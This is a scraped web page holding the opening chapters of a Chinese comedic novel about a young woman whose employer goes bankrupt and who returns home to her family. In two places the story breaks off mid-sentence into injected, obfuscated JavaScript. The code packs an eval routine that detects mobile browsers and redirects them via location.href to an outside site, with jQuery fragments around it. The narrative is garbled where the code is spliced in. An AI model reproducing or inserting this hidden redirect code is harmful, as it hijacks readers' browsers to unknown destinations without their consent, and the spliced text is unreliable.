《大大世界小小家》 1. 1 铃声响起的时候,常乐还在做梦。 梦里,她睡得正酣,孙老板一脚踹开卧室的门冲进来,手里的电脑怼到她脸上,怒气冲冲地说:“还睡!活儿干完了吗?公司给你钱就是让你睡大觉的?” 常乐吓得直打鸣,把梦里梦外的自己都吵醒了。 床头的铃声还在持续。她艰难地撬开一只眼,待心跳慢慢平缓,才伸手摸到手机。 电话接通,手机那头爆出一声急吼:“常乐!看到群里的通知了吗?赶紧去公司!” 大脑开机速度有些慢,常乐懵了好半天,才听出这是同事珍姐的声音。 她揉揉眼,蹙眉看着手机上的时间,才刚过六点。 “……什么事啊?” “十万火急!老板跑了,公司倒了。你现在赶紧起床去公司,能搬一点是一点!” 常乐打了个哈欠,迷迷糊糊地问:“今天不用上班吗?” “你……你是不是还没睡醒?公司都没了,上什么班?赶紧去公司!去晚了只能捡点垃圾了!” 电话倏地挂断。 常乐闭着眼缓了缓,搓搓鼻子,挠挠耳朵,意识渐渐回笼,终于反应过来—— 啥? 她撑着手肘艰难地坐起身,再次拿起手机,打开微信,公司群显示未读消息99+。 常乐心一沉,飞速翻到最上面,终于翻到这场激情对喷赛的源头——一篇由“顺势文化-孙总”发表的小作文占满了整个对话框。 密密麻麻的字看得人眼睛疼。常乐一目十行看完,还没捋顺是怎么一回事,脑海里已经回荡起了一段魔性的BGM—— “浙江温州浙江温州江南皮革厂倒闭了……” 刚刚珍姐说什么来着?去公司?能搬一点是一点? 常乐霎时惊出一身冷汗,从床上腾地跳起,用冷水匆匆搓了把脸,连牙都没刷,头也没梳,套上那件穿了大半个月的黑色长款羽绒服就出门了。 片刻后,她又折返回来,翻箱倒柜找出两个巨型编织袋——这是她租房必备的搬家神器——又找出口罩和帽子戴上,把自己捂得严严实实的,这才火急火燎地出门。 六点十分,天光微亮,首班地铁上居然还是没有座位。 常乐抓着冰冷的柱子,在地铁的啸叫声中,反复研究孙总发的那一大段文字。 什么“因为项目纠纷,资金账户冻结”、什么“经营不善,难以为继”、什么“为了不给各位伙伴造成损失,请大家尽早寻找新工作”…… 总结起来就一句话—— 项目黄了,公司垮了,老板跑了,大家散了吧。 群里还有同事天真地问: “那我们怎么办?有n+1吗?” “上个月的工资还没发,什么时候补给我?” “孙总,年终奖还发吗?” “孙宇顺你个表子养的!我日.你&*%¥#……” 孙总一句没回复,估计是把公司群屏蔽了。 常乐忍不住骂了句脏话。 这狗日的公司还欠她两个月的工资呢! 转了两次地铁,终于抵达公司所在的写字楼。常乐杀气腾腾地推开玻璃门,编织袋甩在肩头,像迎敌的披风。 门口一个年轻保安见势不对,正要伸手拦她,被旁边的中年保安拽住了。 年轻保安退回到门口。目送她的背影消失在电梯里,他纳闷道:“一早上好几个人都这样,又是哪家公司出事了?” 中年保安端起保温杯呷了口热茶,一脸见怪不怪的表情。 “十六楼那家,叫什么文化来着……听说租金已经拖欠几个月了,关门是迟早的事。” 年轻保安忧心忡忡地说:“不会打起来吧?要不要上去看看?” “打起来倒不至于。公司破产而已,该清算的清算,该赔偿的赔偿。不过……”中年保安思忖片刻,渐渐敛容,“万一他们讨不到钱,把办公室的东西搬走……” 他放下保温杯,拿起对讲机,“我通知一下周经理。” 常乐一阵风似地冲出电梯,不小心跟公司策划部的王姐撞了个满怀。她抱着大纸箱,两只胳膊上还挂着几只塑料袋,鼓鼓囊囊的,看着跟逃难似的。 “哎!王姐——” 王姐一步跨进了电梯,冲常乐抬抬下巴,“没剩多少了,赶紧去!” 被她这么一催,常乐心里更忐忑了。 一进公司,就看见珍姐在前台,一边把指纹打卡机往包里塞,一边指挥实习生小吴踩在凳子上拆天花板的监控。 常乐看得目瞪口呆。 “常乐,你可算来了!”珍姐急忙招呼她,指着里面的大办公室,“那里我们都翻了一遍,没什么值钱的,电脑和打印机都不能动,还有会议室的投影仪、显示屏、音响,都是跟写字楼租的。”她压低声音,忿忿地说,“刚刚我准备拆主机,被几个保安抓住骂了一顿。妈蛋,拽什么啊?都是资本家的走狗,呸!” 常乐:“那……除了这些,还有什么能搬的?” 珍姐:“你自己去看吧。” 办公室里一片狼藉,地上散落着废纸和杂物,储物柜的柜门敞着,里面空空荡荡。桌上的电脑倒是还在,可是没人敢动,打印机旁还有几个保安虎视眈眈地守着。 常乐像游魂一样,提着大编织袋在办公室里来回转悠,只捡到几个笔筒和文件夹,估计也换不了几个钱。倒是门口那两棵光秃秃的发财树,抢救一下没准儿能起死回生。 她弯下腰,端起花盆底座,正要发力,又听珍姐大吼:“搬那玩意儿干啥?公司都干倒闭了,那两棵树肯定不吉利。还不如捡点纸箱卖废品。” 常乐:“……” 已经惨到这种地步了吗? 江南皮革厂的工人们还能拿着钱包抵工资呢! 她蹲在地上,看着干瘪的编织袋,倍感沮丧:她已经被拖欠两个月的工资了,昨天财务大姐还信誓旦旦地向她保证,今天肯定能补发,没想到…… 不仅工资没了,连工作也没了。 对了,差点忘了,财务大姐同时也是老板娘。 这家公司完全是个家庭作坊,老婆管财务,大姨管人事,小舅子管后勤——现在,这三人跟那老鳖孙都消失了,果然一家人就要整整齐齐啊。 门口又出现几个熟悉的身影,都是闻讯赶来的同事,个个脸色惨白,脚步凌乱。一见到珍姐都围了过来,仿佛抓住了救命稻草,翻来覆去地问:“珍姐,怎么办啊?公司真的倒了吗?”“孙总在哪儿?我联系不上他。”“咱们的工资还能要回来吗?”…… 众人七嘴八舌,常乐听得心烦,便独自去往洗手间。 途径茶水间时,她忽然心念一动,进去搜刮一番,终于有了点收获——两罐冻干咖啡、一盒立顿茶包、一大包旺旺仙贝。这些东西还是她陪着后勤部的“皇舅”一起买的,算是公司耗材,不归写字楼所有。 除此之外,她还去洗手间薅了四卷比脸还大的卷纸——连男洗手间的都没放过——和两瓶用到还剩一半的洗手液。 珍姐对她薅的这一堆鸡零狗碎很是无语:“让你来打劫,不是来搞保洁。你倒是捡点值钱的东西走啊!” 值钱的……对了! 常乐又冲进茶水间,把水吧上那台半人高的不锈钢饮水机给拆了。 珍姐无语了,打开手机给她看。 闲鱼页面上,同款二手饮水机,售价50。 常乐:“……五十就五十吧,苍蝇腿也是肉。” 继续地毯式搜索了一个多小时,又跟保安队的什么周经理大吵了一架。最后,江城顺势文化有限公司的几个残兵败卒们,抱着各自的破铜烂铁,怨气满满地离开了公司。 电梯里,气氛冷得几乎结冰。 常乐盯着不断变化的数字,脑子里一片茫然。 接下来该怎么办?报警?劳动仲裁?还是找工作? 似乎每一步都格外艰难。 终于,有人打破了沉默:“孙总把公司群解散了。” “这老鳖孙真不是个东西!”珍姐骂道,“他肯定早就计划好跑路了。我也是昨天才知道,我的社保和公积金已经两个月没交了!跟财务打电话,她也不接。我一晚上没睡着,半夜一摸手机,就看到群里的通知。我气得想骂娘!” “咱们要报警吗?” “这种情况应该去劳动局吧?” “我在网上查过了,应该直接去申请劳动仲裁。” “仲裁有用吗?万一老鳖孙逃到国外了怎么办?应该先报警抓他吧?” “他在国内肯定还有财产,车、房什么的,随便拍卖一套就可以付清欠我们的工资了。” “对了,有谁知道孙总住哪儿吗?说不定他还在家,咱们一起杀过去。” “还是先去报警吧,咱们带警察去,人多力量大。” “叮——”电梯门开了。 正值上班高峰期,一群早八社畜面无表情地涌进电梯。 常乐怀里抱着饮水机,肩上扛着大编织袋,一边往外挤一边喊:“先下后上!先下后上!” 饮水机里残留的水淌了一地,社畜们脸上纷纷露出嫌弃的表情,推推搡搡地挪出一条通道。 几个人终于挤出电梯,逆着上班的人潮,走出写字楼,仿佛被这座大型机器抛弃的旧零件。 “常乐,你衣服打湿了。”珍姐从包里抽出一张纸巾,弯下腰,帮常乐把羽绒服上的水渍擦干,起身时问她:“对了,你有什么律师或警察朋友吗?” 常乐木然地摇摇头。 她在这座城市工作了三年,期间换了几家公司,一家比一家垃圾。最后在这家小公司干了半年,累死累活终于转正,本以为就此稳定下来,谁料一觉醒来竟遭此大劫。 她哪有时间和精力积攒什么人脉啊。 深冬清晨,空气冷冽,对面高楼反射着苍白的阳光,映在常乐的脸上,没有一丝暖意。 看着路上行色匆匆的上班族,她想,这些人起码还有一份工作。真令人羡慕。 可他们个个神色疲惫,嘴角耷拉,看上去一点儿也不开心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585064|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门口的保安臭着一张脸,大厅里的保洁阿姨也在一边拖地一边抱怨,街上穿着校服的学生们被书包压成了驼背,公交车里乘客们的脸上也没有一丝笑意…… 更不用说他们几个了,茫然无措地站在街头,宛如一群丧家之犬。 在这座城市里,有人是真正开心的吗? 常乐深深叹了口气,只觉得身心俱疲。 -- 这一天,他们一伙人先是赶去附近的派出所报案,然后去了劳动局、工商局,最后还去了珍姐的三姨的老同学的侄子工作的律所,以每小时500元的友情价,进行了一场法律咨询。 忙完这一切,常乐拖着疲惫的双腿回到家,看着抢来的“战利品”,还得强打起精神,把这一堆破烂玩意儿逐一拍照,上传到闲鱼。 定好价格后,一统计,就算全部顺利卖出,也不到三百块钱。 常乐顿时泄了气,往床上一扑,把脸埋进枕头里嚎叫:“啊啊啊啊——” 这操.蛋的人生啊! 女高音刚起了个头,枕边的手机突然响了。 常乐还以为案情有了新进展,赶紧抓起手机。 却是她妈林文娟的电话。 “喂——”常乐拖着调子,有气无力地说,“啥事儿啊?” 林文娟上扬的声调与她的呈鲜明对比:“乐宝儿啊,我看到你闲鱼上新货了,一堆鸡零狗碎的。怎么,最近又缺钱了?” 常乐愣了几秒,这才想起,上次回家,她教林文娟用闲鱼买了几盆绿植,林女士顺手关注了她。 “我这是……”常乐心虚地辩解,“闲置物品出清,哈哈,断舍离嘛。” “那怎么还卖卷纸啊?又在薅公司的羊毛?” 什么叫“又”?说得好像她经常干这种偷鸡摸狗的事一样! 常乐没好气道:“这是公司福利。” “那两包打印纸别卖了,家里最近添了台打印机,正好能用上。等你过年放假带回来。” “哦。” 得,三百还得减三十。 “对了,下个月就过年了,你们放假安排出来了吗?” 常乐沉默片刻,艰难地开口:“妈,我有一个好消息和一个坏消息——” 知女莫若母,林文娟直接打断她:“好消息。” “我们公司今年放假比较早,我应该……”常乐盘算了一下,“下周就能回家了。” “那坏消息是?” “呃,这个……年后也不用来上班了。” 电话那头安静几秒,忽然爆发出一阵狂笑:“哈哈哈!你们那家小破公司终于倒闭了?” 常乐无语翻白眼。倒也不用这么幸灾乐祸吧? 林文娟一直对这家公司颇为不满。刚入职时,常乐跟她汇报公司的基本情况,提到了“小小周”这个概念。林文娟天真地问:“是不是一周休两天,一周休一天的那种?” “那叫大小周。”常乐叹气。谁能想到,她曾经深恶痛绝的大小周,现在竟成了奢侈品。“小小周,意思是一周不休息,一周休一天。” 从未遭受过资本主义毒打的林女士发出惊呼:“我滴妈呀!也就是两周才放一天假?还有王法吗?还!有!王!法!吗!” 如今,听说这条劳动法漏网之鱼终于把自己折腾死,林文娟身心无比舒畅,恨不得吟诵一首“善恶终有报,天道好轮回”,完全忘记自家女儿也是受害者的一员。 “算了算了,你正好休息休息,找工作的事等过完年再说吧。早点回来也好,胜宝就要生了,你要晋级为小姨了!” “胜宝?!”又是一枚重磅炸弹,常乐惊得差点破音。 胜宝大名林常胜,是只漂亮的小边牧,养在楼下姥姥姥爷家。 问题是…… “她还是个孩子啊!”常乐气得咬牙切齿,“是哪个禽兽干的?我要亲手把它阉了!” “唉,还不知道呢,小区里养狗的不少……本来想着她还小,想等到一岁了再去做绝育,没想到突然就怀上了!” “她肚子大了,你们就一点没察觉?” “哎呀,我一开始以为她只是胖了,结果肚子越来越大,带去医院检查,医生说预产期是这个月底。算了算了,怀上了就生吧,咱家又不是养不起。正好你回来,伺候她坐月子。” 常乐:“???不是吧,要我当德华?我堂堂大女主人设,现代独立女性,精通wb、xhs、dy——” “啧。”林文娟不屑地打断她,“给你发工资行了吧,大女主?” “No!富贵不能淫!” 林文娟思忖几秒:“你难道就不想查出奸夫是谁,给胜宝讨回公道?” 常乐眼睛一亮:“有线索吗?” “当然。”林文娟语气笃定,“经过我们一家人商讨,目前初步判定,嫌犯是一条公狗。” “……” 常乐深叹一口气,捏捏眉心,又掐掐下巴,摆出柯南的招牌姿势。 “这种事还是得靠我啊。等着,我马上收拾行李!” 2. 2 常乐家在青江市,是中部省份一座没什么存在感的小城市,离她工作的江城只有一百多公里的距离,不堵车的话,开车两个小时就能到。 即便如此,常乐这几年回家的次数也是屈指可数。 常乐毕业后进的第一家公司实行大小周,后来换了几家,入职前说好的双休基本没有兑现过,节假日加班也是常态。再后来,她就进了这家黑心作坊,连单休都变成了奢望。 她本是个恋家的人,无奈,一入职场忙似狗,从此家人变网友,只能在视频里短暂地相会。 公司突然倒闭,常乐在震惊和慌乱之余,内心也有一丝窃喜。 终于可以名正言顺地休息了。 她要把之前没时间追的剧、没看完的小说、想打卡的餐厅、憧憬了很久的旅游地,全都—— 等等,在这之前,还有正事要办。 第二天,常乐整理好自己的劳动合同、工资条、考勤记录等材料,跟几个同事一起,去了趟公司所在地的劳动仲裁中心。提交材料、填写申请书、拿到回执单,一整个流程走完,已经是中午了。 其他人陆续离开了,只剩下常乐和珍姐。 “我请你吃饭吧,珍姐。”常乐说,“我过几天就要回家了,这边的进展还要麻烦你盯着。” 刚刚仲裁员让他们回去等通知,常乐在网上查了一下,开庭时间最早也得在一个月后。她打算先回家歇着,等开庭前再来一趟。 珍姐:“不找工作了?” 常乐:“过完年再说。你呢?” “昨天回去就在boss上投了十几家,一个回复都没有。”珍姐望着路旁光秃秃的树,眉宇间满是忧虑,“明年我就三十五了。” 常乐一时默然。 三十五岁,职场的deadline,悬在每个打工人头上的一把刀。 “哎,别急嘛。”她试图让语气轻松点,“这都到年底了,很多公司都停止招聘了。你就当给自己放个长假,好好休息,陪陪家人。找工作的事,等过完年再说。” 珍姐扯了下嘴角,转头望着常乐,“你还年轻,可以走一会儿歇一会儿。我上有老下有小,还背着房贷,一刻都不敢停下来。” 常乐安慰她:“别那么悲观嘛。我查过了,公司的注册资金是一百万,足够用来补发工资了。咱们的诉求是合理合法的,肯定能要到钱。” 珍姐摇摇头,“不好说,老鳖孙可能早就转移了财产。你看,他连法定代表人都偷偷换了。” ——这还是他们在查询公司的工商登记档案时发现的。 李玉婷,一个完全陌生的名字。档案中显示,她才二十出头,居住在本市的一个高档小区。 同事们面面相觑,都表示从没听说过这个人。 法定代表人的变更是在三个月前。很显然,这是老鳖孙找的替死鬼。 常乐疑惑道:“所以,公司欠的钱要由她来还?要是她没钱呢?” 珍姐:“我担心的就是这个。” 两人都陷入了沉默。 珍姐叹了口气,视线转向街对面的小吃店,“算了,不说这些了,我请你吧。想吃什么?” 在这种情绪下,常乐实在没什么胃口,最后,两人就在街边的面馆随便对付了一顿。 在地铁站分别时,常乐试图给珍姐打打气,张了张嘴,却发现什么都说不出来。 那些鼓励的话,都是漂着油花的鸡汤,她自己都喝不下。 倒是珍姐先开口了:“常乐,其实我挺羡慕你的,年轻,单身,没有孩子,没有负债。你还有选择的自由。” 常乐怔怔地看着她,眼底微微发涩。 自由吗? 她从来不觉得。 如果她真的自由,怎么会任由这种黑心公司压榨自己所有的时间和精力,只为了每个月几千块钱的糊口费? 中午的地铁上人不算多,常乐幸运地抢到一个座位。刚坐下,手机铃响了。 是她爸常建民的电话。 “乐儿啊,听你妈说你公司倒闭了,恭喜恭喜啊。” 语气全是真诚,不掺一点阴阳怪气。要不是素质太高,常乐真想把手机开外放,让周围的社畜们都沾沾喜气。 “爸,啥事儿啊?” “你准备几号回家?行李多不多?我开车来接你吧。” “不用,我打车就行。”常乐说,“时间还不确定,我得把这边的房子退了。” “行,忙完就赶紧回啊。对了,那几卷卫生纸别卖了,家里的快用完了。” “……” 都惦记着她那点可怜的“n+1”呢。 挂断电话,常乐心情轻松了不少。 不就是失业嘛,现在的年轻人谁不是活在降薪裁员的阴影之下,等待着靴子落地。 等过完年再慢慢找工作呗,大不了去摇奶茶。 — 回家倒计时启动。 常乐把租的这套不足二十平米小公寓从里到外收拾了一番,该扔的扔,能卖的卖。加上从公司薅的那一堆鸡零狗碎,一共卖了一千五百块。 接着联系房东大姨。 经过一番细致入微的检查后,大姨决定从一千五的押金里,扣除三百的家具损耗费、三百的电器维修费、两百的全屋打扫费,以及一千的提前退租违约金。 算下来,常乐还得倒给她三百。 常乐早知有此一劫,提前在小红薯上找了一堆退租攻略,挨个试用,结果发现,卖惨诉苦、打感情牌、讲道理都行不通,甚至连报警威胁都不管用。 最有用的还是撒泼打滚。 终于,当整层楼的住户——包括楼下的保安和不知哪儿来的两条狗——都出来看热闹时,大姨终于顶不住压力,骂骂咧咧地给她退了五百。 打包完所有行李后,常乐在公寓楼下叫了辆货拉拉。 小面包车里堆着她这三年来全部的家当。看着窗外飞逝而去的高楼大厦,她的心里泛起一股无法言说的惆怅。 这次离开,还能再回来吗? 转念一想,这座双休都犯法的城市,还回来干嘛? 拜拜吧您呐! 两个小时后,货拉拉停在了青江市教师小区门口。 教师小区顾名思义,里面的住户大多是附近学校的老师。二十多年前,青江市的实小、二中和电大三所学校为了安置上千名教职工,集资建了四十多栋居民楼。小区占地面积颇大,分为春桃苑、秋菊苑、冬梅苑,但老住户们都习惯按照学校来区分。 常乐一家能住在这里,得益于姥姥姥爷——他们都是二中的教师,退休前赶上了这波福利,以极低的价格买了两套三居室,选的是同一栋楼的一楼和二楼。一楼给两位行动不便的老人住,二楼给常乐和父母住。 这几年,经常有邻居开玩笑,说现在流行的“叠墅”,你们家二十几年前就住进去了,真是花小钱享大福啊。 常乐本想直接出现在家门口,给家人一个惊喜,但是,看着从小面包车里搬下来的两个硕大的行李箱、两个快要撑爆的大编织袋、以及一摞脸盆水桶,她觉得自己多少有点不自量力了。 她先给林文娟打了个电话。 电话响了半天,林文娟才接听,声音压得很低:“乐宝啊,妈在上课,待会儿给你回。” 她急匆匆地说完,就挂断了电话。 林文娟今年六月份正式退休,七月份就马不停蹄地去老年大学报了名。听常建民说,她现在的课程表排得比高三生还满。 常乐一屁股坐在编织袋上,又给她爸打了个电话。 “乐儿,啊?你已经到了?哎唷你不早说……我六点下班,你在家等我嗷!” 果然,那种“上班暂停,接女儿回家”的爸道台词,只会出现在短剧里。 常乐望着身边这一大堆行李,郁闷地挂断电话。 姥姥姥爷大概率在家,但又不能喊他们来帮忙,这不纯纯虐待老人嘛。 思来想去,常乐最后去小区门口的菜鸟驿站借了个小拖车,铆足了劲儿才将行李搬了上去,然后拖着一百多斤的拖车,穿过小区主干道,绕到一条弯弯绕绕的鹅卵石小路上。 小拖车“哐当哐当”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585065|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震天动地。 一路上吸引不少路人的注意,其中不乏熟悉的面孔。 常乐累得肩酸腿软,还得摆出笑脸,应付各位爹爹婆婆叔叔姨姨的寒暄。 “回啦?”“嗯嗯回了。”“放几天假啊?”“没几天,过完年就得走了。”“今年赚了多少啊?”“呵呵……没多少。”“没多少是多少啊?”“……” 短短几百米的路,她走了十几分钟,身心备受折磨。 拐过一排桂花树,终于看见那栋熟悉的单元楼。灰白的外墙,凌乱的空调外机,绿色的窗户,有几扇窗下还挂着花床单。 一楼东侧的窗户亮着灯,家里肯定有人。常乐打起精神,连拖带拽地走完了最后几十米的路程。 行李先安置在楼梯下面,她掏出钥匙,打开了102室的不锈钢门。 客厅和厨房都没看见人影。常乐提起一口气,刚要喊人,姥爷就从卧室里悄无声息地走了出来。 他穿着居家棉服,戴着老花镜,正低头看着手机。 “姥爷!”常乐兴奋地喊道。 听到声音,姥爷终于将视线转向门口。他摘下老花镜,一脸惊喜:“是乐乐啊!今年这么早就回了?” 常乐:“是啊,就你一个在家?” “还有胜胜呢。”姥爷指了指阳台。 “胜宝!”常乐蹬掉鞋子,兴奋地冲到阳台,一眼就看到躺在狗窝里晒太阳的小边牧——小狗的四肢还是那么纤细,脸也瘦跟车座子似得,只有肚子像吹胀的气球一样圆滚滚的,看得她心疼不已。 看到几个月没见的小主人,林常胜都懒得动弹,只是扬起尾巴,拍了拍地面,敷衍地打了个招呼。 “……” 常乐满腔的热情被浇熄了一半。 什么嘛?上次她回家,小狗还激动得不得了,对她又抱又舔呢,尾巴都摇成了螺旋桨。 唉,当了妈的狗就是高冷啊,都瞧不上她这种单身狗了。 常乐揉了揉狗头,又问姥爷:“我姥姥呢?” “她上小区门口那个理疗店去了,说是做什么红外电疗,做满三十次,能领一个电饭煲。” 常乐想起刚刚去菜鸟驿站借小拖车时,确实看到旁边新开了一家什么理疗店,门口还挺热闹,不少老人在排队,等着领大米和鸡蛋。 常乐不免担忧:“不会是骗人的吧?” “肯定是骗人的,不过礼品是真的。”姥爷笑了,视线落回手机上,说话有些心不在焉,“放心吧,我跟你姥姥提过醒了。她为了防止乱花钱,把银行卡都解绑了,手机里只留了点买菜钱。” 姥爷说完,又戴上老花镜,低着头,手指在手机上戳戳点点。 “姥爷,看啥呢这么投入?” 常乐的好奇心越来越重。她走到姥爷身边,探头去看他的手机,打趣道:“都老大不小的了,可别染上网瘾啊。” 姥爷大拇指往上一扫,迅速退出了页面,语气有些不自然:“嗐,没啥,就是看看视频、打发时间呗。” 他将手机塞进棉服的兜里,视线在屋里转了一圈,没话找话:“回来累了吧?欸,你行李呢?” 常乐狐疑地打量着他。 刚刚那一瞥,她依稀看到了抖音的私信页面,姥爷跟对方聊得热火朝天。具体聊的什么,她没看清,只看到满屏的玫瑰花和大拇指。 她忽然想到,现在有些土甜风的美女网红,特别受中老年人喜欢,几段对口型唱歌的视频就能收获数万点赞。没钱的老头在评论区骚话连篇,有钱的老头在直播间一掷千金,还有些走火入魔的老头,啧啧啧…… 正胡思乱想着,姥爷已经踱步到了卧室门口,进门那一刻,手又伸进了兜里。 嘴角还微微上扬,笑容掩都掩不住。 常乐脑子里警铃大作:完蛋!这糟老头子该不会网恋了吧? 窗外天色渐暗,时针慢慢转向六点半。 终于,上课的妈,上班的爸,濒临上当的姥姥,陆续回家了。加上一个手机上瘾的姥爷,和一个着急上火的常乐,一家五口,齐聚在102室的餐桌上。 3. 3 桌上没几个正经菜。除了常建民下班路上买的卤菜和包子,剩下的全是为过年准备的半成品,什么腌鱼、腊肠、鱼丸、肉丸、藕夹…… 作为接风宴来说,略显寒酸。 常乐嗦着筷子,巡视一圈,实在找不到对胃口的菜,只好端起热米酒,浅尝了一口。 “来来来,一起干一杯。”林文娟举起杯子,“欢迎乐宝回家!” 杯子碰撞,发出清脆的声响。 姥姥略带歉意地说:“对不住啊乐乐,我这一不留神没注意时间,回来得太晚了。今天就将就着吃一顿,明天我给你炖鸡汤。” 常乐抓起个肉包子塞嘴里,视线在姥姥和姥爷之间来回打转,琢磨着应该先从谁下手。 一个有上当受骗的风险,一个是老房子疑似着火。 还是前者更紧急。 她轻咳两声,一本正经地看向姥姥。 “姥儿,你去做那电疗,有效果吗?” “应该……有点用吧……”姥姥语气不太自信,“听小杨说,这是什么微波电流,跟家里用的电不一样,可以疏通血管、排出毒素、震碎结石什么的……哎,我就是去体验一下,反正是免费的嘛。” 常乐狐疑地蹙起眉,提醒她:“要是那个小杨向你推销,你可千万别买!” “放心吧,她骗不了我。”姥姥摆摆手,“我活了大半辈子,什么骗术没见过?现在没人能从我手里骗走一分钱。” 常乐和林文娟交换了个不信任的眼神。 ……骗术是见得多,可是当也没少上。 常乐犹记得,去年姥姥跟几个老姐妹参加了一个旅行团,环游云贵川六天七夜,只要698——这价格,就差把“前方有坑”写脸上了。 出发前,常乐和林文娟千叮咛万嘱咐,姥姥拍着胸脯,自信满满:“放心,我知道这种低价旅行团的套路,就是让你购物,他们拿提成。我不买不就行了嘛。钱在我手里,他们还能硬抢不成?” 出发时,一个行李包轻装上阵,潇洒得仿佛江湖剑客;回家时,大包小包搬进搬出,阔气得如同海外代购。 常乐挨个打开看,什么鲜花饼、羊肚菌、普洱茶,这就罢了,还有两只雕花银手镯,一副两千多——姥姥解释说,银价本身不贵,但这个打镯子的老工匠是非遗最后一位传承人,这雕花的手艺马上就要失传了。他现在眼睛不好,一年只做十二只镯子,外人花钱都买不到呢! 常乐:“……” 你这不就花钱买到了吗? 她欲言又止,心想,老人出去玩一趟不容易,钱花就花了吧,情绪价值给到位就行了呗。 翻到最后,她翻出一个沉甸甸的、用丝巾层层包裹的东西,打开一看,是一块灰不溜秋的石头,个头跟香瓜差不多大。 “这又是啥啊?”常乐直觉这东西才是主角,心中已有不祥的预感。 “小心点!”姥姥急忙从她手里捧起这块石头,小心翼翼地放在桌上,两眼直放光,“这是玉石,能开出翡翠。等你结婚的时候,给你打一套镯子。” 常乐:“……” 怕刺激老人,她只能旁敲侧击地问:“你这……哪家店买的?有票据吗?” “是在一个玉石拍卖会买的,放心吧,是正规的。工作人员当场拿那个什么灯照过,里头肯定有玉,好多人举牌抢呢!” 拍卖啊…… 听上去更贵了。 “好多人抢,最后给你抢到了?” “没有,是被一个做玉石生意的老板抢到了。导游跟他说,我外孙女要结婚了,我想给她打一套嫁妆。那老板人挺好,同意让给我了。” 常乐:“…………” 她终于忍不住问:“多少钱啊?” “哎,没多少。”姥姥重新用丝巾将石头包起来,抱在怀里,美美地畅想着:“要是开出来的翡翠品质好,还能赚不少呢。” 常乐此后再没见过这块石头。 她是个八卦心极强的人,不蹲到后续都睡不着觉。 几个月后,她找到跟姥姥一起报团的孙奶奶打听,没想到孙奶奶还挺仗义,拒绝出卖自己的好闺蜜:“嗐,这谁记得住啊?千金难买心头好,你姥姥喜欢就行了,管他钱多钱少呢。” “我就是好奇嘛。”常乐笑眯眯地说,“姥姥跟我说,你花八千六买了个玉镯,跟家里人说只花了三千。” 孙奶奶的笑容僵在了脸上。 常乐乘胜追击:“她还说,你在抖音直播间买了块翡翠,花了五千多,结果是假货,还退不了。这事你家里人还不知道吧?” 孙奶奶脸都气绿了,什么姐妹情深统统抛之脑后。 她嚷嚷道:“她还好意思说我?自己花一万五买了块破石头,我劝她还不听,还怪我拦着她发财!” “夺、夺少?”常乐两眼一黑,腿软得差点站不稳。 她稳了稳呼吸,内心还抱有一丝侥幸:“那石头里真的有玉吗?” “谁知道呢?开石的时候也没叫上我。”孙奶奶撇撇嘴,“我估摸着是没有,不然早就跟我显摆上了。” “她已经开了?”常乐觉得难以置信,“自己锯开的?” 孙奶奶乐了:“当然不是了。北门街上有家铺子可以开玉石,我跟你姥姥提了一嘴,她八成是上那儿去了。” 谢过孙奶奶后,常乐又马不停蹄地赶往北门街,很快找到那家玉石铺。一进门就直奔柜台,向老板询问是否有个老婆婆来开石。 听她描述完姥姥的外貌特征,老板想起来了:“哦——那是你家老人啊?对对对,她是来过,抱着一块石头让我开。我收她两百她还不乐意,说要开出玉来再给,我当然不答应啊。掰扯半天,她最后只给了一百。我看她是个老人,就算了。” “那……开出玉了吗?” 老板咧嘴笑了:“肯定没有啊,外面啥样里头还是啥样。老婆婆还不信,要我继续对半切,最后都切得稀碎了,只剩下一堆石头渣。” 老板有些于心不忍,叹了口气,继续说:“我干这行多少年了,看一眼就知道这石头肯定是假的。又听她说这是旅游买的,那妥妥的被人做局给骗了啊!她最后走的时候还挺伤心的,石头渣还抱在怀里,舍不得扔呢。” 常乐怔怔地说不出话。 老板安慰她:“唉,这种事我见得多了。我记得几年前有个男的,抱着这么大一块石头——”他双手比划着大小,“说里头有顶级祖母绿,结果开出来只有这么一丢丢——”他又伸出小拇指,“糯种,也就值个一两千吧。问他多少钱买的——”老板话音一顿,撇了撇嘴,又慢悠悠地喝了口茶,似乎在等常乐主动开口问。 常乐果然憋不住了:“多少啊?” 老板放下茶杯,双目炯炯,语气铿锵:“十六万八!” 常乐嘶了一口凉气。 “那男人刚走出店门,就一头栽倒在地上,还是我叫的救护车。”老板唏嘘道,“赌石这一行水太深了,发家致富的没几个,家破人亡的一大把。你回去好好安慰你家老人吧,就当花钱买个教训,以后把钱袋子捂紧了。” 为了保护老人敏感的自尊心和脆弱的心血管,常乐回家后没有再提此事。 但是每每想起那块石头,她总忍不住扼腕叹息:一万五,她三个月的工资、十个月的房租、一天三顿拼好饭、能吃整整两年啊! 见常乐神色凝重,林文娟猜到她的心思,安慰说:“放心吧,你姥姥的银行卡都在我手上,密码都改了,全身上下包括手机里不超过两百块钱。她现在能被骗的,只有两个腰子。” 姥姥气得拿筷子敲她脑袋:“我这俩老腰子能值几个钱?爆炒还嫌肉柴呢。” 一桌人都笑了。 常乐也不再纠结了。 这不是还没被骗嘛。等对方图穷匕见了,她再见招拆招呗。 常乐又问林文娟:“妈,你怎么也这么晚才回?你们现在的学习压力这么大呢?” 